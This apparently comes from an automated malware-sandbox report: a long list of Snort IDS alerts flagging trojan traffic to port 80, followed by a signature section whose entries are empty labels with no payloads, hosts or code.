Timestamp: | 04/03/24-06:38:12.218805 |
SID: | 2025381 |
Source Port: | 49798 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:40.804238 |
SID: | 2024318 |
Source Port: | 49759 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:29.787077 |
SID: | 2025381 |
Source Port: | 49745 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:19.372255 |
SID: | 2021641 |
Source Port: | 49808 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:46.856471 |
SID: | 2024318 |
Source Port: | 49842 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:25.036535 |
SID: | 2024313 |
Source Port: | 49814 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:25.030663 |
SID: | 2021641 |
Source Port: | 49741 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:46.856471 |
SID: | 2024313 |
Source Port: | 49842 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:14.340654 |
SID: | 2024318 |
Source Port: | 49801 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:25.036535 |
SID: | 2024318 |
Source Port: | 49814 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:14.340654 |
SID: | 2024313 |
Source Port: | 49801 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:42.416972 |
SID: | 2021641 |
Source Port: | 49836 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:40.804238 |
SID: | 2024313 |
Source Port: | 49759 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:20.890742 |
SID: | 2025381 |
Source Port: | 49810 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:30.613047 |
SID: | 2021641 |
Source Port: | 49746 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:10.724952 |
SID: | 2025381 |
Source Port: | 49796 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:50.437190 |
SID: | 2024313 |
Source Port: | 49847 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:39.122189 |
SID: | 2825766 |
Source Port: | 49757 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:37.732709 |
SID: | 2024318 |
Source Port: | 49832 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:43.957176 |
SID: | 2021641 |
Source Port: | 49838 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:47.687505 |
SID: | 2825766 |
Source Port: | 49843 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:38.419517 |
SID: | 2025381 |
Source Port: | 49833 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:05.256073 |
SID: | 2024318 |
Source Port: | 49789 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:05.256073 |
SID: | 2024313 |
Source Port: | 49789 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:53.598973 |
SID: | 2025381 |
Source Port: | 49775 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:50.546988 |
SID: | 2024313 |
Source Port: | 49770 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:37.732709 |
SID: | 2024313 |
Source Port: | 49832 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:50.437190 |
SID: | 2024318 |
Source Port: | 49847 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:42.314099 |
SID: | 2021641 |
Source Port: | 49761 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:50.546988 |
SID: | 2024318 |
Source Port: | 49770 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:30.670976 |
SID: | 2825766 |
Source Port: | 49822 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:18.685116 |
SID: | 2825766 |
Source Port: | 49807 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:11.400710 |
SID: | 2024313 |
Source Port: | 49797 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:36.358340 |
SID: | 2825766 |
Source Port: | 49830 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:29.278543 |
SID: | 2025381 |
Source Port: | 49820 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:38.407237 |
SID: | 2024318 |
Source Port: | 49756 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:11.400710 |
SID: | 2024318 |
Source Port: | 49797 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:39.111241 |
SID: | 2024313 |
Source Port: | 49834 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:25.764699 |
SID: | 2025381 |
Source Port: | 49742 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:59.640455 |
SID: | 2025381 |
Source Port: | 49783 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:49.748494 |
SID: | 2021641 |
Source Port: | 49846 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:17.269664 |
SID: | 2021641 |
Source Port: | 49805 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:38.419517 |
SID: | 2021641 |
Source Port: | 49833 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:03.254673 |
SID: | 2025381 |
Source Port: | 49788 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:16.574818 |
SID: | 2024318 |
Source Port: | 49804 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:16.574818 |
SID: | 2024313 |
Source Port: | 49804 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:31.437871 |
SID: | 2025381 |
Source Port: | 49747 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:39.111241 |
SID: | 2024318 |
Source Port: | 49834 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:52.772037 |
SID: | 2021641 |
Source Port: | 49774 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:38.407237 |
SID: | 2024313 |
Source Port: | 49756 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:40.106892 |
SID: | 2825766 |
Source Port: | 49835 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:20.198908 |
SID: | 2024318 |
Source Port: | 49809 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:25.719182 |
SID: | 2021641 |
Source Port: | 49815 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:55.108965 |
SID: | 2825766 |
Source Port: | 49777 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:29.987306 |
SID: | 2024313 |
Source Port: | 49821 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:35.452745 |
SID: | 2025381 |
Source Port: | 49752 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:34.282252 |
SID: | 2024313 |
Source Port: | 49827 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:09.892413 |
SID: | 2825766 |
Source Port: | 49795 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:28.593679 |
SID: | 2025381 |
Source Port: | 49819 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:47.778229 |
SID: | 2024318 |
Source Port: | 49766 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:20.198908 |
SID: | 2024313 |
Source Port: | 49809 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:56.219175 |
SID: | 2024318 |
Source Port: | 49855 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:34.282252 |
SID: | 2024318 |
Source Port: | 49827 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:56.219175 |
SID: | 2024313 |
Source Port: | 49855 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:46.022620 |
SID: | 2025381 |
Source Port: | 49841 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:47.778229 |
SID: | 2024313 |
Source Port: | 49766 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:29.987306 |
SID: | 2024318 |
Source Port: | 49821 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:31.366751 |
SID: | 2025381 |
Source Port: | 49823 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:09.042243 |
SID: | 2024313 |
Source Port: | 49794 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:32.914570 |
SID: | 2021641 |
Source Port: | 49825 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:57.435447 |
SID: | 2025381 |
Source Port: | 49780 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:32.267354 |
SID: | 2024313 |
Source Port: | 49748 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:43.265047 |
SID: | 2024318 |
Source Port: | 49837 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:54.423488 |
SID: | 2024318 |
Source Port: | 49776 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:56.921190 |
SID: | 2825766 |
Source Port: | 49856 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:43.265047 |
SID: | 2024313 |
Source Port: | 49837 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:48.477935 |
SID: | 2825766 |
Source Port: | 49767 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:58.810149 |
SID: | 2021641 |
Source Port: | 49782 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:09.042243 |
SID: | 2024318 |
Source Port: | 49794 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:54.423488 |
SID: | 2024313 |
Source Port: | 49776 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:49.163901 |
SID: | 2025381 |
Source Port: | 49768 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:33.093731 |
SID: | 2825766 |
Source Port: | 49749 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:36.850228 |
SID: | 2021641 |
Source Port: | 49754 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:25.719182 |
SID: | 2825766 |
Source Port: | 49815 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:32.267354 |
SID: | 2024318 |
Source Port: | 49748 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:47.687505 |
SID: | 2021641 |
Source Port: | 49843 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:41.484457 |
SID: | 2024313 |
Source Port: | 49760 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:43.957176 |
SID: | 2825766 |
Source Port: | 49838 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:55.108965 |
SID: | 2021641 |
Source Port: | 49777 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:52.638175 |
SID: | 2825766 |
Source Port: | 49850 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:41.484457 |
SID: | 2024318 |
Source Port: | 49760 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:42.314099 |
SID: | 2825766 |
Source Port: | 49761 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:43.152524 |
SID: | 2025381 |
Source Port: | 49762 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:53.324729 |
SID: | 2025381 |
Source Port: | 49851 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:34.610079 |
SID: | 2825766 |
Source Port: | 49751 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:08.198877 |
SID: | 2025381 |
Source Port: | 49793 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:05.938500 |
SID: | 2025381 |
Source Port: | 49790 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:09.892413 |
SID: | 2021641 |
Source Port: | 49795 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:56.921190 |
SID: | 2021641 |
Source Port: | 49856 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:48.477935 |
SID: | 2021641 |
Source Port: | 49767 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:13.658001 |
SID: | 2025381 |
Source Port: | 49800 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:32.914570 |
SID: | 2825766 |
Source Port: | 49825 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:34.982502 |
SID: | 2825766 |
Source Port: | 49828 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:55.796602 |
SID: | 2025381 |
Source Port: | 49778 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:45.205065 |
SID: | 2021641 |
Source Port: | 49764 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:54.842169 |
SID: | 2021641 |
Source Port: | 49853 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:45.335995 |
SID: | 2825766 |
Source Port: | 49840 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:34.982502 |
SID: | 2021641 |
Source Port: | 49828 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:06.650555 |
SID: | 2024318 |
Source Port: | 49791 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:33.791207 |
SID: | 2024318 |
Source Port: | 49750 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:45.205065 |
SID: | 2825766 |
Source Port: | 49764 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:33.791207 |
SID: | 2024313 |
Source Port: | 49750 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:56.609631 |
SID: | 2024318 |
Source Port: | 49779 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:35.672062 |
SID: | 2025381 |
Source Port: | 49829 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:21.763703 |
SID: | 2024313 |
Source Port: | 49811 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:06.650555 |
SID: | 2024313 |
Source Port: | 49791 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:34.610079 |
SID: | 2021641 |
Source Port: | 49751 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:54.009985 |
SID: | 2024313 |
Source Port: | 49852 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:55.534565 |
SID: | 2025381 |
Source Port: | 49854 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:23.522239 |
SID: | 2825766 |
Source Port: | 49812 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:45.335995 |
SID: | 2021641 |
Source Port: | 49840 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:24.205256 |
SID: | 2025381 |
Source Port: | 49813 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:46.959263 |
SID: | 2025381 |
Source Port: | 49765 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:54.009985 |
SID: | 2024318 |
Source Port: | 49852 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:56.609631 |
SID: | 2024313 |
Source Port: | 49779 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:07.360242 |
SID: | 2021641 |
Source Port: | 49792 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:21.763703 |
SID: | 2024318 |
Source Port: | 49811 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:54.842169 |
SID: | 2825766 |
Source Port: | 49853 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Click to jump to signature section
Show All Signature Results
AV Detection |
---|
Source: | Avira: |
Source: | URL Reputation: | ||
Source: | Avira URL Cloud: |
Source: | Avira: |
Source: | Virustotal: | Perma Link | ||
Source: | Virustotal: | Perma Link |
Source: | Virustotal: | Perma Link |
Source: | Virustotal: | Perma Link |
Source: | Static PE information: |
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: |
Source: | Static PE information: |
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: | ||
Source: | Binary string: |
Source: | Code function: | 0_2_0040687E | |
Source: | Code function: | 0_2_00402910 | |
Source: | Code function: | 0_2_00405C2D |
Networking |
---|
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
Source: | Snort IDS: | ||
